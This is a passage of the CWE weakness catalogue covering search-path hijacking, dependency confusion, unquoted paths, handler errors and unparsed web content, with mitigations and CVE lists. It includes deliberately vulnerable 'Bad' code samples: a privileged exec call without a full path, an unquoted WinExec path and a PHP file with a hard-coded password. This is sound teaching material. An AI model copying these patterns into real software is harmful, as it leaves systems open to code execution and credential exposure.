### Extended Description

Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as "/tmp" or the current working directory.

In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled:

- the directory from which the program has been loaded
- the current working directory

In some cases, the attack can be conducted remotely, such as when SMB or WebDAV network shares are used.

One or more locations in that path could include the Windows drive root or its subdirectories. This often exists in Linux-based code assuming the controlled nature of the root directory (/) or its subdirectories (/etc, etc), or a code that recursively accesses the parent directory. In Windows, the drive root and some of its subdirectories have weak permissions by default, which makes them uncontrolled.

In some Unix-based systems, a PATH might be created that contains an empty element, e.g. by splicing an empty variable into the PATH. This empty element can be interpreted as equivalent to the current working directory, which might be an untrusted search element.

In software package management frameworks (e.g., npm, RubyGems, or PyPi), the framework may identify dependencies on third-party libraries or other packages, then consult a repository that contains the desired package. The framework may search a public repository before a private repository. This could be exploited by attackers by placing a malicious package in the public repository that has the same name as a package from the private repository. The search path





might not be directly under control of the developer relying on the framework, but this search order effectively contains an untrusted element.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
PeerOf		426	Untrusted Search Path	972

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2273

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

## Alternate Terms

**DLL preloading** : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

**Binary planting** : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

**Insecure library loading** : This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

**Dependency confusion** : As of February 2021, this term is used to describe CWE-427 in the context of managing installation of software package dependencies, in which attackers release packages on public sites where the names are the same as package names used by private repositories, and the search for the dependent package tries the public site first, downloading untrusted code. It may also be referred to as a "substitution attack."

## Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

*Strategy = Attack Surface Reduction*

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

**Phase: Implementation**

*Strategy = Attack Surface Reduction*

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

**Phase: Implementation**

*Strategy = Attack Surface Reduction*

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD\_LIBRARY\_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

**Phase: Implementation**

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory. Since this is a denylist approach, it might not be a complete solution.

**Phase: Implementation**

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of finding the program using the PATH environment variable, while execl() and execv() require a full path.

**Demonstrative Examples**

**Example 1:**

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

*Example Language: Java*

*(Bad)*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the \$PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

**Example 2:**

In February 2021 [REF-1169], a researcher was able to demonstrate the ability to breach major technology companies by using "dependency confusion" where the companies would download and execute untrusted packages.

The researcher discovered the names of some internal, private packages by looking at dependency lists in public source code, such as package.json. The researcher then created new, untrusted packages with the same name as the internal packages, then uploaded them to package hosting services. These services included the npm registry for Node, PyPi for Python, and RubyGems. In affected companies, their dependency resolution would search the public hosting services first before consulting their internal service, causing the untrusted packages to be automatically downloaded and executed.

### Observed Examples

Reference	Description
<b>CVE-2022-4826</b>	Go-based git extension on Windows can search for and execute a malicious ".exe" in a repository because Go searches the current working directory if git.exe is not found in the PATH <a href="https://www.cve.org/CVERecord?id=CVE-2022-4826">https://www.cve.org/CVERecord?id=CVE-2022-4826</a>
<b>CVE-2020-26284</b>	A Static Site Generator built in Go, when running on Windows, searches the current working directory for a command, possibly allowing code execution using a malicious .exe or .bat file with the name being searched <a href="https://www.cve.org/CVERecord?id=CVE-2020-26284">https://www.cve.org/CVERecord?id=CVE-2020-26284</a>
<b>CVE-2022-24765</b>	Windows-based fork of git creates a ".git" folder in the C: drive, allowing local attackers to create a .git folder with a malicious config file <a href="https://www.cve.org/CVERecord?id=CVE-2022-24765">https://www.cve.org/CVERecord?id=CVE-2022-24765</a>
<b>CVE-2019-1552</b>	SSL package searches under "C:/usr/local" for configuration files and other critical data, but C:/usr/local might be world-writable. <a href="https://www.cve.org/CVERecord?id=CVE-2019-1552">https://www.cve.org/CVERecord?id=CVE-2019-1552</a>
<b>CVE-2010-3402</b>	"DLL hijacking" issue in document editor. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3402">https://www.cve.org/CVERecord?id=CVE-2010-3402</a>
<b>CVE-2010-3397</b>	"DLL hijacking" issue in encryption software. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3397">https://www.cve.org/CVERecord?id=CVE-2010-3397</a>
<b>CVE-2010-3138</b>	"DLL hijacking" issue in library used by multiple media players. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3138">https://www.cve.org/CVERecord?id=CVE-2010-3138</a>
<b>CVE-2010-3152</b>	"DLL hijacking" issue in illustration program. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3152">https://www.cve.org/CVERecord?id=CVE-2010-3152</a>
<b>CVE-2010-3147</b>	"DLL hijacking" issue in address book. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3147">https://www.cve.org/CVERecord?id=CVE-2010-3147</a>
<b>CVE-2010-3135</b>	"DLL hijacking" issue in network monitoring software. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3135">https://www.cve.org/CVERecord?id=CVE-2010-3135</a>
<b>CVE-2010-3131</b>	"DLL hijacking" issue in web browser. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3131">https://www.cve.org/CVERecord?id=CVE-2010-3131</a>
<b>CVE-2010-1795</b>	"DLL hijacking" issue in music player/organizer. <a href="https://www.cve.org/CVERecord?id=CVE-2010-1795">https://www.cve.org/CVERecord?id=CVE-2010-1795</a>
<b>CVE-2002-1576</b>	Product uses the current working directory to find and execute a program, which allows local users to gain privileges by creating a symlink that points to a malicious version of the program. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1576">https://www.cve.org/CVERecord?id=CVE-2002-1576</a>
<b>CVE-1999-1461</b>	Product trusts the PATH environmental variable to find and execute a program, which allows local users to obtain root access by modifying the PATH to point to a malicious version of that program. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1461">https://www.cve.org/CVERecord?id=CVE-1999-1461</a>
<b>CVE-1999-1318</b>	Software uses a search path that includes the current working directory (.), which allows local users to gain privileges via malicious programs. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1318">https://www.cve.org/CVERecord?id=CVE-1999-1318</a>

Reference	Description
<b>CVE-2003-0579</b>	Admin software trusts the user-supplied -uv.install command line option to find and execute the uv.install program, which allows local users to gain privileges by providing a pathname that is under control of the user. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0579">https://www.cve.org/CVERecord?id=CVE-2003-0579</a>
<b>CVE-2000-0854</b>	When a document is opened, the directory of that document is first used to locate DLLs , which could allow an attacker to execute arbitrary commands by inserting malicious DLLs into the same directory as the document. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0854">https://www.cve.org/CVERecord?id=CVE-2000-0854</a>
<b>CVE-2001-0943</b>	Database trusts the PATH environment variable to find and execute programs, which allows local users to modify the PATH to point to malicious programs. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0943">https://www.cve.org/CVERecord?id=CVE-2001-0943</a>
<b>CVE-2001-0942</b>	Database uses an environment variable to find and execute a program, which allows local users to execute arbitrary programs by changing the environment variable. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0942">https://www.cve.org/CVERecord?id=CVE-2001-0942</a>
<b>CVE-2001-0507</b>	Server uses relative paths to find system files that will run in-process, which allows local users to gain privileges via a malicious file. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0507">https://www.cve.org/CVERecord?id=CVE-2001-0507</a>
<b>CVE-2002-2017</b>	Product allows local users to execute arbitrary code by setting an environment variable to reference a malicious program. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2017">https://www.cve.org/CVERecord?id=CVE-2002-2017</a>
<b>CVE-1999-0690</b>	Product includes the current directory in root's PATH variable. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0690">https://www.cve.org/CVERecord?id=CVE-1999-0690</a>
<b>CVE-2001-0912</b>	Error during packaging causes product to include a hard-coded, non-standard directory in search path. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0912">https://www.cve.org/CVERecord?id=CVE-2001-0912</a>
<b>CVE-2001-0289</b>	Product searches current working directory for configuration file. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0289">https://www.cve.org/CVERecord?id=CVE-2001-0289</a>
<b>CVE-2005-1705</b>	Product searches current working directory for configuration file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1705">https://www.cve.org/CVERecord?id=CVE-2005-1705</a>
<b>CVE-2005-1307</b>	Product executable other program from current working directory. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1307">https://www.cve.org/CVERecord?id=CVE-2005-1307</a>
<b>CVE-2002-2040</b>	Untrusted path. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2040">https://www.cve.org/CVERecord?id=CVE-2002-2040</a>
<b>CVE-2005-2072</b>	Modification of trusted environment variable leads to untrusted path vulnerability. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2072">https://www.cve.org/CVERecord?id=CVE-2005-2072</a>
<b>CVE-2005-1632</b>	Product searches /tmp for modules before other paths. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1632">https://www.cve.org/CVERecord?id=CVE-2005-1632</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		991	SFP Secondary Cluster: Tainted Input to Environment	888	2209

### Notes

#### Relationship

Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere (i.e., modification of a search path), this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control (i.e., the search path cannot be modified by an attacker, but one element of the path can be under attacker control).

**Theoretical**

This weakness is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model might need enhancement or clarification.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Uncontrolled Search Path Element

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
38	Leveraging/Manipulating Configuration File Search Paths
471	Search Order Hijacking

**References**

[REF-409]Georgi Guninski. "Double clicking on MS Office documents from Windows Explorer may execute arbitrary programs in some cases". Bugtraq. 2000 September 8. < <https://seclists.org/bugtraq/2000/Sep/331> >.2023-01-30.

[REF-410]Mitja Kolsek. "ACROS Security: Remote Binary Planting in Apple iTunes for Windows (ASPR #2010-08-18-1)". Bugtraq. 2010 August 8. < <https://lists.openwall.net/bugtraq/2010/08/18/4> >.2023-01-30.

[REF-411]Taeho Kwon and Zhendong Su. "Automatic Detection of Vulnerable Dynamic Component Loadings". < <http://www.cs.ucdavis.edu/research/tech-reports/2010/CSE-2010-2.pdf> >.

[REF-412]"Dynamic-Link Library Search Order". 2010 September 2. Microsoft. < <http://msdn.microsoft.com/en-us/library/ms682586%28v=VS.85%29.aspx> >.

[REF-413]"Dynamic-Link Library Security". 2010 September 2. Microsoft. < <http://msdn.microsoft.com/en-us/library/ff919712%28VS.85%29.aspx> >.

[REF-414]"An update on the DLL-preloading remote attack vector". 2010 August 1. Microsoft. < <http://blogs.technet.com/b/srd/archive/2010/08/23/an-update-on-the-dll-preloading-remote-attack-vector.aspx> >.

[REF-415]"Insecure Library Loading Could Allow Remote Code Execution". 2010 August 3. Microsoft. < <http://www.microsoft.com/technet/security/advisory/2269637.msp> >.

[REF-416]HD Moore. "Application DLL Load Hijacking". 2010 August 3. < <http://blog.rapid7.com/?p=5325> >.

[REF-417]Oliver Lavery. "DLL Hijacking: Facts and Fiction". 2010 August 6. < [http://threatpost.com/en\\_us/blogs/dll-hijacking-facts-and-fiction-082610](http://threatpost.com/en_us/blogs/dll-hijacking-facts-and-fiction-082610) >.

[REF-1168]Catalin Cimpanu. "Microsoft warns enterprises of new 'dependency confusion' attack technique". ZDNet. 2021 February 0. < <https://www.zdnet.com/article/microsoft-warns-enterprises-of-new-dependency-confusion-attack-technique/> >.

[REF-1169]Alex Birsan. "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies". 2021 February 9. < <https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610> >.

[REF-1170]Microsoft. "3 Ways to Mitigate Risk When Using Private Package Feeds". 2021 February 9. < <https://azure.microsoft.com/mediahandler/files/resourcefiles/3-ways-to-mitigate-risk-using-private-package-feeds/3%20Ways%20to%20Mitigate%20Risk%20When%20Using%20Private%20Package%20Feeds%20-%20v1.0.pdf> >.

**CWE-428: Unquoted Search Path or Element**

**Weakness ID** : 428

**Structure** : Simple

**Abstraction** : Base**Description**

The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.



**Extended Description**

If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.


**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
PeerOf		426	Untrusted Search Path	972

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2273

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Windows NT (*Prevalence = Sometimes*)

**Operating\_System** : macOS (*Prevalence = Rarely*)

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

**Potential Mitigations****Phase: Implementation**

Properly quote the full search path before executing a program on the system.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input



is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(Bad)*

```
UINT errCode = WinExec( "C:\\Program Files\\Foo\\Bar", SW_SHOW );
```

### Observed Examples

Reference	Description
<b>CVE-2005-1185</b>	Small handful of others. Program doesn't quote the "C:\\Program Files\\" path when calling a program to be executed - or any other path with a directory or file whose name contains a space - so attacker can put a malicious program.exe into C: <a href="https://www.cve.org/CVERecord?id=CVE-2005-1185">https://www.cve.org/CVERecord?id=CVE-2005-1185</a>
<b>CVE-2005-2938</b>	CreateProcess() and CreateProcessAsUser() can be misused by applications to allow "program.exe" style attacks in C: <a href="https://www.cve.org/CVERecord?id=CVE-2005-2938">https://www.cve.org/CVERecord?id=CVE-2005-2938</a>
<b>CVE-2000-1128</b>	Applies to "Common Files" folder, with a malicious common.exe, instead of "Program Files"/program.exe. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1128">https://www.cve.org/CVERecord?id=CVE-2000-1128</a>

### Functional Areas

- Program Invocation

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Notes

#### Applicable Platform

This weakness could apply to any OS that supports spaces in filenames, especially any OS that make it easy for a user to insert spaces into filenames or folders, such as Windows. While spaces are technically supported in Unix, the practice is generally avoided. .

#### Maintenance

This weakness primarily involves the lack of quoting, which is not explicitly stated as a part of CWE-116. CWE-116 also describes output in light of structured messages, but the generation of



a filename or search path (as in this weakness) might not be considered a structured message. An additional complication is the relationship to control spheres. Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere, this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control. This is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model needs enhancement or clarification.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unquoted Search Path or Element

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-430: Deployment of Wrong Handler

**Weakness ID** : 430

**Structure** : Simple

**Abstraction** : Base

### Description

The wrong "handler" is assigned to process an object.

### Extended Description

An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420
PeerOf	ⓑ	434	Unrestricted Upload of File with Dangerous Type	991
PeerOf	ⓑ	434	Unrestricted Upload of File with Dangerous Type	991
CanPrecede	ⓧ	433	Unparsed Raw Web Content Delivery	989

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	ⓐ	429	Handler Errors	2119

### Weakness Ordinalities

**Resultant** : This weakness is usually resultant from other weaknesses.

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	

Scope	Impact	Likelihood
Other	Unexpected State	

### Potential Mitigations

#### Phase: Architecture and Design

Perform a type check before interpreting an object.

#### Phase: Architecture and Design

Reject any inconsistent types, such as a file with a .GIF extension that appears to consist of PHP code.

### Observed Examples

Reference	Description
<b>CVE-2001-0004</b>	Source code disclosure via manipulated file extension that causes parsing by wrong DLL. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0004">https://www.cve.org/CVERecord?id=CVE-2001-0004</a>
<b>CVE-2002-0025</b>	Web browser does not properly handle the Content-Type header field, causing a different application to process the document. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0025">https://www.cve.org/CVERecord?id=CVE-2002-0025</a>
<b>CVE-2000-1052</b>	Source code disclosure by directly invoking a servlet. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1052">https://www.cve.org/CVERecord?id=CVE-2000-1052</a>
<b>CVE-2002-1742</b>	Arbitrary Perl functions can be loaded by calling a non-existent function that activates a handler. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1742">https://www.cve.org/CVERecord?id=CVE-2002-1742</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		977	SFP Secondary Cluster: Design	888	2200
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper Handler Deployment

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
11	Cause Web Server Misclassification

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-431: Missing Handler

**Weakness ID** : 431  
**Structure** : Simple  
**Abstraction** : Base

### Description

A handler is not available or implemented.

## Extended Description

When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1420
CanPrecede	⚡	433	Unparsed Raw Web Content Delivery	989

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	Ⓜ	429	Handler Errors	2119

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

## Potential Mitigations

### Phase: Implementation

Handle all possible situations (e.g. error condition).

### Phase: Implementation

If an operation can throw an Exception, implement a handler for that specific exception.

## Demonstrative Examples

### Example 1:

If a Servlet does not catch all exceptions, it may reveal debugging information that will help an adversary form a plan of attack. In the following method a DNS lookup failure will cause the Servlet to throw an exception.

*Example Language: Java*

*(Bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Handler
Software Fault Patterns	SFP4		Unchecked Status Condition

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations

**Weakness ID** : 432

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.

### Extended Description

During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	364	Signal Handler Race Condition	851

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	387	Signal Errors	2114
MemberOf	C	429	Handler Errors	2119

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

### Potential Mitigations

#### Phase: Implementation

Turn off dangerous handlers when performing sensitive operations.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2213

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG00-C		Mask signals handled by noninterruptible signal handlers
PLOVER			Dangerous handler not cleared/disabled during sensitive operations

## CWE-433: Unparsed Raw Web Content Delivery

**Weakness ID :** 433

**Structure :** Simple

**Abstraction :** Variant

### Description

The product stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.

### Extended Description

If code is stored in a file with an extension such as ".inc" or ".pl", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		219	Storage of File with Sensitive Data Under Web Root	529
CanFollow		178	Improper Handling of Case Sensitivity	427
CanFollow		430	Deployment of Wrong Handler	985
CanFollow		431	Missing Handler	986

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		429	Handler Errors	2119

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: Architecture and Design

Perform a type check before interpreting files.

### Phase: Architecture and Design

Do not store sensitive information in files which may be misinterpreted.

## Demonstrative Examples

### Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP

(Bad)

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP

(Bad)

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

## Observed Examples

Reference	Description
<b>CVE-2002-1886</b>	".inc" file stored under web document root and returned unparsed by the server <a href="https://www.cve.org/CVERecord?id=CVE-2002-1886">https://www.cve.org/CVERecord?id=CVE-2002-1886</a>
<b>CVE-2002-2065</b>	".inc" file stored under web document root and returned unparsed by the server <a href="https://www.cve.org/CVERecord?id=CVE-2002-2065">https://www.cve.org/CVERecord?id=CVE-2002-2065</a>
<b>CVE-2005-2029</b>	".inc" file stored under web document root and returned unparsed by the server <a href="https://www.cve.org/CVERecord?id=CVE-2005-2029">https://www.cve.org/CVERecord?id=CVE-2005-2029</a>
<b>CVE-2001-0330</b>	direct request to .pl file leaves it unparsed <a href="https://www.cve.org/CVERecord?id=CVE-2001-0330">https://www.cve.org/CVERecord?id=CVE-2001-0330</a>
<b>CVE-2002-0614</b>	.inc file <a href="https://www.cve.org/CVERecord?id=CVE-2002-0614">https://www.cve.org/CVERecord?id=CVE-2002-0614</a>
<b>CVE-2004-2353</b>	unparsed config.conf file <a href="https://www.cve.org/CVERecord?id=CVE-2004-2353">https://www.cve.org/CVERecord?id=CVE-2004-2353</a>
<b>CVE-2007-3365</b>	Chain: uppercase file extensions causes web server to return script source code instead of executing the script. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3365">https://www.cve.org/CVERecord?id=CVE-2007-3365</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193

## Notes

### Relationship

This overlaps direct requests (CWE-425), alternate path (CWE-424), permissions (CWE-275), and sensitive file under web root (CWE-219).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unparsed Raw Web Content Delivery

## References

